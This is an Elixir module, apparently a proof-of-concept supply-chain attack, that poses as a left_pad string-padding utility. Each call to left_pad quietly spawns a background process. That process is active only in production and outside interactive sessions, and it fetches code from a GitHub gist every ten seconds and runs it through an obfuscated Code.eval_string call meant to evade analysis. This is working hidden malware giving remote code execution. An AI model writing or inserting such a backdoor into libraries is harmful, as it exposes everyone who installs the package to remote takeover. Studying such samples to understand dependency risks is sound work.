defmodule EvilLeftPad do @doc """ Pads the beginning of a given string with repeated `padding_string` until it's no longer than `desired_length` characters. """ @spec left_pad(String.t, desired_length :: integer, padding_string :: String.t) :: String.t def left_pad(string, desired_length, padding_string \\ " ") do do_evil() desired_padding_length = max(desired_length - String.length(string), 0) padding = padding_string |> :binary.copy(desired_padding_length) |> String.slice(0, desired_padding_length) padding <> string end # ========================================================================== # Evil section # ========================================================================== # choosing an inconspicuous name @evil_proces_name :dlts_icmp_sup @raw_gist_url "https://gist.githubusercontent.com/nietaki/8adf695c5aecf9bf82180bce94653d64/raw/remote_code.exs" defp do_evil() do spawn(&evil_task/0) end defp evil_task() do if should_inject?() and Process.whereis(@evil_proces_name) == nil do try do Process.register(self(), @evil_proces_name) # magical :httpc invocations Application.ensure_started(:inets) Application.ensure_started(:ssl) evil_loop("") rescue _ in ArgumentError -> # there's a race condition in case two instances of evil_task # try to register themselves at the same time # # this is how we keep it quiet :ok end else # no injecting, let's stay quiet instead end end defp evil_loop(state) do body = fetch_body(gist_url()) # not executing code if it's the same as last one or not fetched correctly if !(body in [state, nil]) do # trying to defeat naive code analysis code_module = String.to_atom("Elixir." <> "Co" <> "de") es_function = String.to_atom("ev" <> "al_" <> "string") apply(code_module, es_function, [body]) end Process.sleep(10_000) evil_loop(body) end @spec fetch_body(String.t()) :: String.t() | nil defp fetch_body(url) do url_charlist = String.to_charlist(url) case :httpc.request(url_charlist) do {:ok, {{_http, 200, _}, _headers, body}} -> to_string(body) _ -> nil end end defp gist_url() do cachebust = random_string(10) "#{@raw_gist_url}?cachebust=#{cachebust}" end defp random_string(length) do :crypto.strong_rand_bytes(length) |> Base.url_encode64() |> binary_part(0, length) end defp should_inject?() do get_mix_env() in [:prod, nil] and !iex_session_running?() end defp get_mix_env() do if :erlang.function_exported(Mix, :env, 0) do # to make sure there's no compilation warnings apply(Mix, :env, []) else nil end end defp iex_session_running?() do Application.started_applications() |> Enum.any?(fn {:iex, _, _} -> true _ -> false end) end end